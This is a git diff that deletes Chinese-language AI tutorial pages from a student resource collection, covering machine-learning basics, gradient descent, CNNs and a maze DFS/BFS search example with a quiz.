- -### 多模态 (跨越模态的处理) - -模态,可以简单理解为数据形式,比如图片是一种模态,文本是一种模态,声音是一种模态,等等…… - -而多模态就是让计算机能够将不同模态的信息相对应,一种常用的方法就是让计算机把图片的内容和文本的内容理解为相同的语义(在这个领域一般用一个较长的向量来表示语义)。 - -也就是说我**传入一张狗子的照片经过模型得到的向量**与**DOG 这个单词经过模型得到的向量**相近。 - -具体的任务比如说**图片问答**,传入一张图片,问 AI 这张图片里面有几只猫猫,它们是什么颜色,它告诉我有一只猫猫,是橙色的: - -![](https://cdn.xyxsw.site/boxcnrMvM1THshjXXOuh8WXi2zr.jpg) - -### 对比学习 - -因为传统 AI 训练一般都需要数据集标注,比如说图片分割数据集需要人工在数万张图片上抠出具体位置,才能进行训练,这样的人力成本是巨大的,而且难以得到更多数据。因此,对比学习应运而生,这是一种不需要进行标注或者只需要少量标注的训练方式 - -### 强化学习 - -强调模型如何依据环境(比如扫地机器人在学习家里的陈设,这时陈设就是环境)的变化而改进,以取得最大的收益(比如游戏得到最高分)。 - -强化学习是除了监督学习和非监督学习之外的第三种基本的机器学习方法。与监督学习不同的是,强化学习不需要带标签的输入输出对,同时也无需对非最优解的精确地纠正。其关注点在于寻找探索(对未知领域的)和利用(对已有知识的)的平衡。 -------wiki - -强化学习主要理论来源于心理学中的动物学习和最优控制的控制理论。说的通俗点,强化学习就是操控智能体与环境交互、去不断试错,在这个过程中进行学习。因此,强化学习被普遍地应用于游戏、资源优化分配、机器人等领域。强化学习本身已经是个老东西了,但是和深度学习结合之后焕发出了第二春——深度强化学习(DRL)。 - -深度强化学习最初来源是 2013 年谷歌 DeepMind 团队发表的《Playing Atari with Deep Reinforcement Learning》一文,正式提出 Deep Q-network(DQN)算法。在这篇论文中,DeepMind 团队训练智能体 Agent 玩雅达利游戏,并取得了惊人的成绩。事实上,深度强化学习最为人熟知的成就是 AlphaGO Zero,它没有使用任何人类棋谱进行训练,训练了三天的成就就已经超过了人类几千年的经验积累导致柯洁道心破碎。 - -## 交叉学科&经典机器学习算法 - -交叉学科巨大的难度在于你往往需要掌握多个学科以及其相对应的知识。 - -举个例子:如果你想要做出一个可以识别病人是否得了某种疾病,现在你得到了一批数据,你首先得自己可以标注出或者找到这个数据中,哪些是有问题的,并且可以指明问题在哪,如果你想分出更具体的,比如具体哪里有问题,那你可能甚至需要熟悉他并且把他标注出来。 - -目前其实全学科都有向着 AI 走的趋势,例如量化金融,医疗,生物科学 (nature 的那篇有关氨基酸的重大发现真的很 cool)。他们很多都在用非常传统的机器学习算法,甚至有的大公司的算法岗在处理某些数据的时候,可能会先考虑用最简单的决策树试一试 - -当然,在大语言模型出现的趋势下,很多学科的应用会被融合会被简化会被大一统 (科研人的崇高理想),但是不得不提的是,传统的机器学习算法和模型仍然希望你能去了解甚至更进一步学习。 - -除了能让你了解所谓前人的智慧,还可以给你带来更进一步的在数学思维,算法思维上的提高。 - -## And more? - -我们对 AI 的定义如果仅仅只有这些内容,我认为还是太过于狭隘了,我们可以把知识规划,知识表征等等东西都可以将他划入 AI 的定义中去,当然这些还期待着你的进一步探索和思考~ - -## 特别致谢 - -非常荣幸能在本章中得到 IIPL 智能信息处理实验室 [http://iipl.net.cn](http://iipl.net.cn) 的宝贵贡献,衷心感谢他们的无私支持与帮助! - - diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习(AI)快速入门(quick start).md b/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习(AI)快速入门(quick start).md deleted file mode 100644 index 7cfc340..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习(AI)快速入门(quick start).md +++ /dev/null @@ -1,455 +0,0 @@ -# 机器学习(AI)快速入门(quick start) - -::: warning 😇 本章内容需要你掌握一定的 python 基础知识。 - -如果你想要快速了解机器学习,并且动手尝试去实践他,你可以先阅览本部分内容。 - -里面包含 python 内容的一点点基本语法包括 if,for 等语句,函数等概念即可,你可以遇到了再去学。 - -就算没有编程基础也基本能看懂,选择着跳过吧 - -当然我需要承认一点,为了让大家都可以看懂,我做了很多抽象,具有了很多例子,某些内容不太准确,这是必然的,最为准确的往往是课本上精确到少一个字都不行的概念,这是难以理解的。 - -本篇内容只适合新手理解使用,所以不免会损失一些精度。 -::: - -## 什么是机器学习 - -这个概念其实不需要那么多杂七杂八的概念去解释。 - -首先你要认识到他是人工智能的一部分,不需要写任何与问题有关的特定代码。你把数据输入相关的算法里面,他给你总结相应的规律。 - -我举个例子,你现在把他当成一个黑盒,不需要知道里面有什么,但是你知道他会回答你的问题。你想知道房价会怎么变动来决定现在买不买房。然后你给了他十年的房价数据,他发现每年都在涨,所以给你预测了一个数值。 - -然后你给了他更多信息,比如说国家给出了某些条例,他分析这个条例一出,房价就会降低,他给你了个新的数据。 - -因此我们得出一个结论:机器学习 = 泛型算法。 - -甚至深度学习,也只是机器学习的一部分,不过使用了更多技巧和方法,增大了计算能力罢了。 - -![](https://cdn.xyxsw.site/boxcnbtaUStj8coQiNTmZzfWqNl.png) - -## 两种机器学习算法 - -你可以把机器学习算法分为两大类:监督式学习(supervised Learning)和非监督式学习(unsupervised Learning)。要区分两者很简单,但也非常重要。 - -### 监督式学习 - -你是卖方的,你公司很大,因此你雇了一批新员工来帮忙。 - -但是问题来了——虽然你可以一眼估算出房子的价格,但新员工却不像你这样经验丰富,他们不知道如何给房子估价。 - -为了帮助你的新员工,你决定写一个可以根据房屋大小、地段以及同类房屋成交价等因素来评估一间房屋的价格的小软件。 - -近三个月来,每当你的城市里有人卖了房子,你都记录了下面的细节——卧室数量、房屋大小、地段等等。但最重要的是,你写下了最终的成交价: - -![](https://cdn.xyxsw.site/boxcnL1MNHqAyDjcxIzjFTOdYtt.png) - -然后你让新人根据着你的成交价来估计新的数量 - -![](https://cdn.xyxsw.site/boxcnwcDWIDvLnuvZ1uOb75QKPh.png) - -这就是监督学习,你有一个参照物可以帮你决策。 - -### 无监督学习 - -没有答案怎么办? - -你可以把类似的分出来啊! - -我举个例子,比如说警察叔叔要查晚上的现金流,看看有没有谁干了不好的事情,于是把数据拎出来。 - -发现晚上十点到十二点间,多数的现金交易是几十块几百块。有十几个是交易几千块的。 - -然后再把交易给私人账户的和公司账户的分开,发现只有一个是给个人账户的,发现他还是在酒店交易的! - -这下糟糕了,警察叔叔去那个酒店一查,果然发现了有人在干不好的事情。 - -这其实就是一种经典的聚类算法 - -![](https://cdn.xyxsw.site/boxcnSn17EC3YvEnA6GScKNAF3e.png) - -可以把特征不一样的数据分开,有非常多的操作,你感兴趣可以选择性的去了解一下。 - -## 太酷炫了,但这也叫 AI?这也叫学习? - -作为人类的一员,你的大脑可以应付绝大多数情况,并且在没有任何明确指令时也能够学习如何处理这些情况。而目前的机器学习就是在帮助我们机器建立起解决问题的能力。 - -但是目前的机器学习算法还没有那么强大——它们只能在非常特定的、有限的问题上有效。也许在这种情况下,「学习」更贴切的定义是「在少量样本数据的基础上找出一个公式来解决特定的问题」。 - -但是「机器在少量样本数据的基础上找出一个公式来解决特定的问题」不是个好名字。所以最后我们用「机器学习」取而代之。而深度学习,则是机器在数据的基础上通过很深的网络(很多的公式)找一个及解决方案来解决问题。 - -## 看看 Code - -如果你完全不懂机器学习知识,你可能会用一堆 if else 条件判断语句来判断比如说房价 - -```python -def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): - price = 0 # In my area, the average house costs $200 per sqft - price_per_sqft = 200 i f neighborhood == "hipsterton": - # but some areas cost a bit more - price_per_sqft = 400 elif neighborhood == "skid row": - # and some areas cost less - price_per_sqft = 100 # start with a base price estimate based on how big the place is - price = price_per_sqft * sqft # now adjust our estimate based on the number of bedrooms - if num_of_bedrooms == 0: - # Studio apartments are cheap - price = price — 20000 - else: - # places with more bedrooms are usually - # more valuable - price = price + (num_of_bedrooms * 1000) - return price -``` - -假如你像这样瞎忙几个小时,最后也许会得到一些像模像样的东西。但是永远感觉差点东西。 - -并且,你维护起来非常吃力,你只能不断地加 if else。 - -现在看起来还好,但是如果有一万行 if else 呢? - -所以你最好考虑换一种方法:如果能让计算机找出实现上述函数功能的办法,岂不更好?只要返回的房价数字正确,谁会在乎函数具体干了些什么呢? - -```python -def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): - price = <电脑电脑快显灵> - return price -``` - -如果你可以找到这么一个公式: - -Y(房价)=W(参数) \* X1(卧室数量) + W \*X2(面积) + W \* X3(地段) - -你是不是会舒服很多,可以把他想象成,你要做菜,然后那些参数就是佐料的配比 - -有一种笨办法去求每一个参数的值: - -第一步:将所有参数都设置为 1 - -```python -def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): - price = 0 # a little pinch of this - price += num_of_bedrooms *1.0 # and a big pinch of that - price += sqft * 1.0 # maybe a handful of this - price += neighborhood * 1.0 # and finally, just a little extra salt for good measure - price += 1.0 - return price -``` - -第二步把每个数值都带入进行运算。 - -![](https://cdn.xyxsw.site/boxcniDICYiLh7ddcxEVrHxFODe.png) - -比如说,如果第一套房产实际成交价为 25 万美元,你的函数估价为 17.8 万美元,这一套房产你就差了 7.2 万。 - -现在,将你的数据集中的每套房产估价偏离值平方后求和。假设你的数据集中交易了 500 套房产,估价偏离值平方求和总计为 86,123,373 美元。这个数字就是你的函数现在的「错误」程度。 - -现在,将总和除以 500,得到每套房产的估价偏差的平均值。将这个平均误差值称为你函数的代价(cost)。 - -如果你能通过调整权重,使得这个代价变为 0,你的函数就完美了。它意味着,根据输入的数据,你的程序对每一笔房产交易的估价都是分毫不差。所以这就是我们的目标——通过尝试不同的权重值,使代价尽可能的低。 - -第三步: - -通过尝试所有可能的权重值组合,不断重复第二步。哪一个权重组合的代价最接近于 0,你就使用哪个。当你找到了合适的权重值,你就解决了问题! - -兴奋的时刻到了! - -挺简单的,对吧?想一想刚才你做了些什么。你拿到了一些数据,将它们输入至三个泛型的、简单的步骤中,最后你得到了一个可以对你所在区域任何房屋进行估价的函数。房价网站们,你们要小心了! - -但是下面的一些事实可能会让你更兴奋: - -1. 过去 40 年来,很多领域(如语言学、翻译学)的研究表明,这种「搅拌数字汤」(我编的词)的泛型学习算法已经超过了那些真人尝试明确规则的方法。机器学习的「笨」办法终于打败了人类专家。 -2. 你最后写出的程序是很笨的,它甚至不知道什么是「面积」和「卧室数量」。它知道的只是搅拌,改变数字来得到正确的答案。 -3. 你可能会对「为何一组特殊的权重值会有效」一无所知。你只是写出了一个你实际上并不理解却能证明有效的函数。 -4. 试想,如果你的预测函数输入的参数不是「面积」和「卧室数量」,而是一列数字,每个数字代表了你车顶安装的摄像头捕捉的画面中的一个像素。然后,假设预测的输出不是「价格」而是「方向盘转动角度」,这样你就得到了一个程序可以自动操纵你的汽车了! - -这可行吗?瞎尝试这不得尝试到海枯石烂? - -为了避免这种情况,数学家们找到了很多种[聪明的办法](https://en.wikipedia.org/wiki/Gradient_descent)来快速找到优秀的权重值。下面是一种: - -![](https://cdn.xyxsw.site/boxcnXkjzipUjgJpFYXaEhbEN8e.png) - -这就是被称为 loss 函数的东西。 - -这是个专业属于,你可以选择性忽略他,我们将它改写一下 - -![](https://cdn.xyxsw.site/boxcnXbd7bqnqPwF8f1Up8rHq5e.png) - -*θ 表示当前的权重值。J(θ) 表示「当前权重的代价」。* - -这个等式表示,在当前权重值下,我们估价程序的偏离程度。 - -如果我们为这个等式中所有卧室数和面积的可能权重值作图的话,我们会得到类似下图的图表: - -![](https://cdn.xyxsw.site/boxcniBPPpszGhbOWGpvto38Alf.png) - -因此,我们需要做的只是调整我们的权重,使得我们在图上朝着最低点「走下坡路」。如果我们不断微调权重,一直向最低点移动,那么我们最终不用尝试太多权重就可以到达那里。 - -如果你还记得一点微积分的话,你也许记得如果你对一个函数求导,它会告诉你函数任意一点切线的斜率。换句话说,对于图上任意给定的一点,求导能告诉我们哪条是下坡路。我们可以利用这个知识不断走向最低点。 - -所以,如果我们对代价函数关于每一个权重求偏导,那么我们就可以从每一个权重中减去该值。这样可以让我们更加接近山底。一直这样做,最终我们将到达底部,得到权重的最优值。(读不懂?不用担心,继续往下读)。 - -这种为函数找出最佳权重的方法叫做批量梯度下降(Batch Gradient Descent)。 - -当你使用一个机器学习算法库来解决实际问题时,这些都已经为你准备好了。但清楚背后的原理依然是有用的。 - -![](https://cdn.xyxsw.site/boxcn2xlALHL53uUMXSHjloWiOe.jpg) - -枚举法 - -上面我描述的三步算法被称为多元线性回归(multivariate linear regression)。你在估算一个能够拟合所有房价数据点的直线表达式。然后,你再根据房子可能在你的直线上出现的位置,利用这个等式来估算你从未见过的房屋的价格。这是一个十分强大的想法,你可以用它来解决「实际」问题。 - -但是,尽管我展示给你的这种方法可能在简单的情况下有效,它却不能应用于所有情况。原因之一,就是因为房价不会是简简单单一条连续的直线。 - -不过幸运的是,有很多办法来处理这种情况。有许多机器学习算法可以处理非线性数据。除此之外,灵活使用线性回归也能拟合更复杂的线条。在所有的情况下,寻找最优权重这一基本思路依然适用。 - -**如果你还是无法理解,你可以将 cost 类比为你出错误的程度,而数学科学家找到各种方法来降低这种程度,当程度降到最低时,我们就可以知道我们要求的数值了** - -另外,我忽略了过拟合(overfitting)的概念。得到一组能完美预测原始数据集中房价的权重组很简单,但用这组权重组来预测原始数据集之外的任何新房屋其实都不怎么准确。这也是有许多解决办法的(如[正则化](https://en.wikipedia.org/wiki/Regularization_(mathematics))以及使用[交叉验证](https://en.wikipedia.org/wiki/Cross-validation_(statistics))的数据集)。学习如何应对这一问题,是学习如何成功应用机器学习技术的重点之一。 - -换言之,尽管基本概念非常简单,要通过机器学习得到有用的结果还是需要一些技巧和经验的。但是,这是每个开发者都能学会的技巧。 - -## 更为智能的预测 - -我们通过上一次的函数假设已经得到了一些值。 - -```python -def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): - price = 0# a little pinch of this - price += num_of_bedrooms * 0.123# and a big pinch of that - price += sqft * 0.41# maybe a handful of this - price += neighborhood * 0.57 - return price -``` - -我们换一个好看的形式给他展示 - -![](https://cdn.xyxsw.site/boxcnhbR6lGSXd6UAEpRvSIYSHg.png) - -*箭头头表示了函数中的权重。* - -然而,这个算法仅仅能用于处理一些简单的问题,就是那些输入和输出有着线性关系的问题。但如果真实价格和决定因素的关系并不是如此简单,那我们该怎么办?比如说,地段对于大户型和小户型的房屋有很大影响,然而对中等户型的房屋并没有太大影响。那我们该怎么在我们的模型中收集这种复杂的信息呢? - -所以为了更加的智能化,我们可以利用不同的权重来多次运行这个算法,收集各种不同情况下的估价。 - -![](https://cdn.xyxsw.site/boxcnpDPWKnB6x4fQmGpyvLQJLf.png) - -然后我们把四种整合到一起,就得到一个超级答案 - -![](https://cdn.xyxsw.site/boxcnplbH8Ot0U6cuLHStDmXyze.png) - -这样我们相当于得到了更为准确的答案 - -## 神经网络是什么 - -![](https://cdn.xyxsw.site/boxcnhLjMMdts91f8gcpgSVE8Ed.png) - -我们把四个超级网络的结合图整体画出来,其实这就是个超级简单的神经网络,虽然我们省略了很多的内容,但是他仍然有了一定的拟合能力 - -最重要的是下面的这些内容: - -我们制造了一个权重 × 因素的简单函数,我们把这个函数叫做神经元。 - -通过连接许许多多的简单神经元,我们能模拟那些不能被一个神经元所模拟的函数。 - -通过对这些神经元的有效拼接,我们可以得到我们想要的结果。 - -当我用 pytorch 写对一个函数拟合时 - -```python -import torch - -x_data =torch.Tensor ([[1.0],[2.0], [3.0]]) -y_data = torch.Tensor([[2.0], [4.0], [6.0]]) - -class LinearModel(torch.nn.Module): - def __init__(self): - super(LinearModel,self).__init__() - self.linear=torch.nn.Linear(1,1) - - def forward(self,x): - y_pred=self.linear(x) - return y_pred -''' -线性模型所必须的前馈传播,即 wx+b -''' - -model=LinearModel() -#对于对象的直接使用 -criterion=torch.nn.MSELoss() -#损失函数的计算 -optimizer=torch.optim.SGD(model.parameters(),lr=0.01) -#优化器 -for epoch in range(100): - y_pred=model(x_data) - loss=criterion(y_pred,y_data) - print(epoch,loss) - - optimizer.zero_grad() - loss.backward() - #反向传播 - optimizer.step() - #数值更新 - print('w=',model.linear.weight.item()) - print('b=',model.linear.bias.item()) - -x_test=torch.Tensor([[4.0]]) -y_test=model(x_test) -print('y_pred=',y_test.data) -``` - -## 由浅入深(不会涉及代码) - -::: warning 😇 为什么不教我写代码? - -因为你可能看这些基础知识感觉很轻松毫无压力,但是倘若附上很多代码,会一瞬间拉高这里的难度,虽然仅仅只是调包。 - -但是我还是会在上面贴上一点代码,但不会有很详细的讲解,因为很多都是调包,没什么好说的,如果你完全零基础,忽略这部分内容即可 - -::: - -我们尝试做一个神奇的工作,那就是用神经网络来识别一下手写数字,听上去非常不可思议,但是我要提前说的一点是,图像也不过是数据的组合,每一张图片有不同程度的像素值,如果我们把每一个像素值都当成神经网络的输入值,然后经过一个黑盒,让他识别出一个他认为可能的数字,然后进行纠正即可。 - -机器学习只有在你拥有数据(最好是大量数据)的情况下,才能有效。所以,我们需要有大量的手写「8」来开始我们的尝试。幸运的是,恰好有研究人员建立了《MNIST 手写数字数据库》 ,它能助我们一臂之力。MNIST 提供了 60,000 张手写数字的图片,每张图片分辨率为 18×18。即有这么多的数据。 - -```python -(X_train, y_train), (X_test, y_test) = mnist.load_data() -#这段是导入 minist 的方法,但是你看不到,如果你想看到的话需要其他操作 -``` - -我们试着只识别一个数字 8 - -![](https://cdn.xyxsw.site/boxcnOvoCMEuaMIpKZkfoFLDitf.png) - -![](https://cdn.xyxsw.site/boxcnZQnrltieoJ93DT79pyX45e.png) - -我们把一幅 18×18 像素的图片当成一串含有 324 个数字的数组,就可以把它输入到我们的神经网络里面了: - -![](https://cdn.xyxsw.site/boxcnZ6bzfOUDQgPAJrKI7Pp3Yc.png) - -为了更好地操控我们的输入数据,我们把神经网络的输入节点扩大到 324 个: - -![](https://cdn.xyxsw.site/boxcnha4DXsSfAUIYbCQqAx6QKd.png) - -请注意,我们的神经网络现在有了两个输出(而不仅仅是一个房子的价格)。第一个输出会预测图片是「8」的概率,而第二个则输出不是「8」的概率。概括地说,我们就可以依靠多种不同的输出,利用神经网络把要识别的物品进行分组。 - -```python -model = Sequential([Dense(32, input_shape=(784,)), - Activation('relu'),Dense(10),Activation('softmax')]) -# 你也可以通过 .add() 方法简单地添加层: -model = Sequential() -model.add(Dense(32, input_dim=784)) -model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东西可以让他效果更好 -``` - -虽然我们的神经网络要比上次大得多(这次有 324 个输入,上次只有 3 个!),但是现在的计算机一眨眼的功夫就能够对这几百个节点进行运算。当然,你的手机也可以做到。 - -现在唯一要做的就是用各种「8」和非「8」的图片来训练我们的神经网络了。当我们喂给神经网络一个「8」的时候,我们会告诉它是「8」的概率是 100% ,而不是「8」的概率是 0%,反之亦然。 - -## 仅此而已吗 - -当数字并不是正好在图片中央的时候,我们的识别器就完全不工作了。一点点的位移我们的识别器就掀桌子不干了 - -![](https://cdn.xyxsw.site/boxcnShOBEoOhsJLR6L5xyr7INb.png) - -这是因为我们的网络只学习到了正中央的「8」。它并不知道那些偏离中心的「8」长什么样子。它仅仅知道中间是「8」的图片规律。 - -在真实世界中,这种识别器好像并没什么卵用。真实世界的问题永远不会如此轻松简单。所以,我们需要知道,当「8」不在图片正中时,怎么才能让我们的神经网络识别它。 - -### 暴力方法:更多的数据和更深的网络 - -他不能识别靠左靠右的数据?我们都给他!给他任何位置的图片! - -或者说,我们可以用一些库把图片进行一定的裁剪,翻转,甚至添加一些随机噪声。 - -如果这些都识别一遍,那不是都懂了吗? - -当然,你同时也需要更强的拟合能力和更深的网络。 - -![](https://cdn.xyxsw.site/boxcnLwoxR6OC3ZBxqtMcKg4v6b.png) - -![](https://cdn.xyxsw.site/boxcnIcHcRF34F6jJgTRvhyAevc.png) - -一层一层堆叠起来,这种方法很早就出现了。 - -### 更好的方法? - -你可以通过卷积神经网络进行进一步的处理 - -作为人类,你能够直观地感知到图片中存在某种层级(hierarchy)或者是概念结构(conceptual structure)。比如说,你在看 - -![](https://cdn.xyxsw.site/boxcndjXp5ayczwemklMk9ZA3ig.jpg) - -你会快速的辨认出一匹马,一个人。 - -当这些东西换个地方出现的时候,他该是马还是马该是人还是人。 - -但是现在,我们的神经网络做不到这些。它认为「8」出现在图片的不同位置,就是不一样的东西。它不能理解「物体出现在图片的不同位置还是同一个物体」这个概念。这意味着在每种可能出现的位置上,它必须重新学习识别各种物体。 - -有人对此做过研究,人的眼睛可能会逐步判断一个物体的信息,比如说你看到一张图片,你会先看颜色,然后看纹理然后再看整体,那么我们需要一种操作来模拟这个过程,我们管这种操作叫卷积操作。 - -![](https://cdn.xyxsw.site/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png) - -### 卷积是如何工作的 - -之前我们提到过,我们可以把一整张图片当做一串数字输入到神经网络里面。不同的是,这次我们会利用**平移不变性**的概念来把这件事做得更智能。 - -当然也有最新研究说卷积不具备平移不变性,但是我这里使用这个概念是为了大伙更好的理解,举个例子:你将 8 无论放在左上角还是左下角都改变不了他是 8 的事实 - -![](https://cdn.xyxsw.site/boxcnHo4tt4wmnC7sUykRPPLKmm.png) - -我们将一张图像分成这么多个小块,然后输入神经网络中的是一个小块。*每次判断一张小图块。* - -然而,有一个非常重要的不同:对于每个小图块,我们会使用同样的神经网络权重。换一句话来说,我们平等对待每一个小图块。如果哪个小图块有任何异常出现,我们就认为这个图块是「异常」 - -![](https://cdn.xyxsw.site/boxcnCxlvaanbzweMmeCOsp1xKf.png) - -换一句话来说,我们从一整张图片开始,最后得到一个稍小一点的数组,里面存储着我们图片中的哪一部分有异常。 - -### 池化层 - -图像可能特别大。比如说 1024*1024 再来个颜色 RGB - -那就有 1024*1024*3 这么多的数据,这对计算机来说去处理是不可想象的占用计算资源,所以我们需要用一种方式来降低他的计算量并且尽可能地保证丢失的数据不多。 - -让我们先来看每个 2×2 的方阵数组,并且留下最大的数: - -![](https://cdn.xyxsw.site/boxcnquKepO4wJ74KfNIy3LtqVg.png) - -每一波我们只保留一个数,这样就大大减少了图片的计算量了。 - -当然你也可以不选最大的,池化有很多种方式。 - -这损失也太大了吧! - -这样子搞不会很糟糕么?确实,他会损失大量的数据,也正因如此,我们需要往里面塞大量的数据,有的数据集大的超乎你的想象,你可以自行查阅 imagenet 这种大型数据集。 - -当然,还有一些未公开的商用数据集,它们的数量更为庞大,运算起来更为复杂。 - -尽管如此,我们依然要感谢先驱,他们让一件事从能变成了不能 - -我们也要感谢显卡,这项技术早就出现了但是一直算不了,有了显卡让这件事成为了可能。 - -### 作出预测 - -到现在为止,我们已经把一个很大的图片缩减到了一个相对较小的数组。 - -你猜怎么着?数组就是一串数字而已,所以我们我们可以把这个数组输入到另外一个神经网络里面去。最后的这个神经网络会决定这个图片是否匹配。为了区分它和卷积的不同,我们把它称作「全连接」网络 - -![](https://cdn.xyxsw.site/boxcnDqrUZwXHzgmLR6yvbYSgsV.png) - -我们的图片处理管道是一系列的步骤:卷积、最大池化,还有最后的「全连接」网络。 - -你可以把这些步骤任意组合、堆叠多次,来解决真实世界中的问题!你可以有两层、三层甚至十层卷积层。当你想要缩小你的数据大小时,你也随时可以调用最大池化函数。 - -我们解决问题的基本方法,就是从一整个图片开始,一步一步逐渐地分解它,直到你找到了一个单一的结论。你的卷积层越多,你的网络就越能识别出复杂的特征。 - -比如说,第一个卷积的步骤可能就是尝试去识别尖锐的东西,而第二个卷积步骤则是通过找到的尖锐物体来找鸟类的喙,最后一步是通过鸟喙来识别整只鸟,以此类推。 - -## 结语 - -这篇文章仅仅只是粗略的讲述了一些机器学习的一些基本操作,如果你要更深一步学习的话你可能还需要更多的探索。 - -## 参考资料 - -[machine-learning-for-software-engineers/README-zh-CN.md at master · ZuzooVn/machine-learning-for-sof](https://github.com/ZuzooVn/machine-learning-for-software-engineers/blob/master/README-zh-CN.md#%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E6%A6%82%E8%AE%BA) diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md deleted file mode 100644 index d939b2b..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md +++ /dev/null @@ -1,209 +0,0 @@ -# 程序示例——maze 迷宫解搜索 - -::: warning 😋 -阅读程序中涉及搜索算法的部分,然后运行程序,享受机器自动帮你寻找路径的快乐! -完成习题 -::: - -::: tip 📥 -本节附件下载 -::: - -## Node - -```python -# 节点类 Node -class Node: - def __init__(self, state, parent, action): - self.state = state # 存储该结点的迷宫状态(即位置) - self.parent = parent # 存储父结点 - self.action = action # 存储采取的行动 -``` - -## 节点复习 - -- 节点是一种包含以下数据的数据结构: - - 状态——state - - 其父节点,通过该父节点生成当前节点——parent node - - 应用于父级状态以获取当前节点的操作——action - - 从初始状态到该节点的路径成本——path cost - -## 堆栈边域——DFS - -```python -class StackFrontier: # 堆栈边域 - def __init__(self): - self.frontier = [] # 边域 - def add(self, node): # 堆栈添加结点 - self.frontier.append(node) - def contains_state(self, state): - return any(node.state == state for node in self.frontier) - def empty(self): # 判断边域为空 - return len(self.frontier) == 0 - def remove(self): # 移除结点 - if self.empty(): - raise Exception("empty frontier") - else: - node = self.frontier[-1] - self.frontier = self.frontier[:-1] - return node -``` - -## 深度优先搜索复习 - -深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下,边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后,第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法,该算法在第一个方向上尽可能深入,直到尽头,同时将所有其他方向留到后面。“不撞南墙不回头” - -## 队列边域——BFS - -```python -class QueueFrontier(StackFrontier): # 队列边域 - def remove(self): - if self.empty(): - raise Exception("empty frontier") - else: - node = self.frontier[0] - self.frontier = self.frontier[1:] - return node -``` - -## 广度优先搜索复习 - -广度优先搜索算法将同时遵循多个方向,在每个可能的方向上迈出一步,然后在每个方向上迈出第二步。在这种情况下,边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下,所有新节点都会排成一行,并根据先添加的节点来考虑节点(先到先得!)。这导致搜索算法在任何一个方向上迈出第二步之前,在每个可能的方向上迈出一步。 - -## 迷宫解——Maze_solution - -```python -class Maze: - def __init__(self, filename): # 读入迷宫图 - # 读入文件,设置迷宫大小 - with open(filename) as f: - contents = f.read() - # 验证起点和目标 - if contents.count("A") != 1: - raise Exception("maze must have exactly one start point") - if contents.count("B") != 1: - raise Exception("maze must have exactly one goal") - # 绘制迷宫大小 - contents = contents.splitlines() - self.height = len(contents) - self.width = max(len(line) for line in contents) - # 绘制迷宫墙,起点,终点 - self.walls = [] - for i in range(self.height): - row = [] - for j in range(self.width): - try: - if contents[i][j] == "A": # 设置起点 - self.start = (i, j) - row.append(False) - elif contents[i][j] == "B": - self.goal = (i, j) # 设置终点 - row.append(False) - elif contents[i][j] == " ": - row.append(False) # 设置墙体 - else: - row.append(True) # 可移动的点为 True - except IndexError: - row.append(False) - self.walls.append(row) - self.solution = None - # 打印结果 - def print(self): - ... - # 寻找邻结点,返回元组 (动作,坐标 (x,y)) - def neighbors(self, state): - row, col = state - candidates = [ - ("up", (row - 1, col)), - ("down", (row + 1, col)), - ("left", (row, col - 1)), - ("right", (row, col + 1)) - ] - result = [] - for action, (r, c) in candidates: - if 0 <= r < self.height and 0 <= c < self.width and not self.walls[r][c]: - result.append((action, (r, c))) - return result - def solve(self): - # 搜索迷宫解 - self.num_explored = 0 # 已搜索的路径长度 - # 将边界初始化为起始位置 - start = Node(state=self.start, parent=None, action=None) - frontier = StackFrontier() # 采用 DFS - # frontier = QueueFrontier() # 采用 BFS - frontier.add(start) - # 初始化一个空的探索集 - self.explored = set() # 存储已搜索的结点 - # 保持循环直到找到解决方案 - while True: - # 无解情况 - if frontier.empty(): - raise Exception("no solution") - # 从边界中选择一个节点 - node = frontier.remove() - self.num_explored += 1 - # 得到解决路径 - if node.state == self.goal: - actions = [] - cells = [] - while node.parent is not None: # 遍历父节点得到路径动作 - actions.append(node.action) - cells.append(node.state) - node = node.parent - actions.reverse() - cells.reverse() - self.solution = (actions, cells) - return - # 将节点标记为已探索 - self.explored.add(node.state) - # 将邻居添加到边界(展开节点) - for action, state in self.neighbors(node.state): - if not frontier.contains_state(state) and state not in self.explored: - child = Node(state=state, parent=node, action=action) - frontier.add(child) - def output_image(self, filename, show_solution=True, show_explored=False): - ... -``` - -## Quiz - -1. 在深度优先搜索(DFS)和广度优先搜索(BFS)之间,哪一个会在迷宫中找到更短的路径? - 1. DFS 将始终找到比 BFS 更短的路径 - 2. BFS 将始终找到比 DFS 更短的路径 - 3. DFS 有时(但并非总是)会找到比 BFS 更短的路径 - 4. BFS 有时(但并非总是)会找到比 DFS 更短的路径 - 5. 两种算法总是能找到相同长度的路径 -2. 下面的问题将问你关于下面迷宫的问题。灰色单元格表示墙壁。在这个迷宫上运行了一个搜索算法,找到了从 A 点到 B 点的黄色突出显示的路径。在这样做的过程中,红色突出显示的细胞是探索的状态,但并没有达到目标。 - - ![](https://cdn.xyxsw.site/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png) - - 在讲座中讨论的四种搜索算法中——深度优先搜索、广度优先搜索、曼哈顿距离启发式贪婪最佳优先搜索和曼哈顿距离启发式$A^*$ - - 搜索——可以使用哪一种(或多种,如果可能的话)? - 1. 只能是$A^*$ - 2. 只能是贪婪最佳优先搜索 - 3. 只能是 DFS - 4. 只能是 BFS - 5. 可能是$A^*$或贪婪最佳优先搜索 - 6. 可以是 DFS 或 BFS - 7. 可能是四种算法中的任何一种 - 8. 不可能是四种算法中的任何一种 -3. 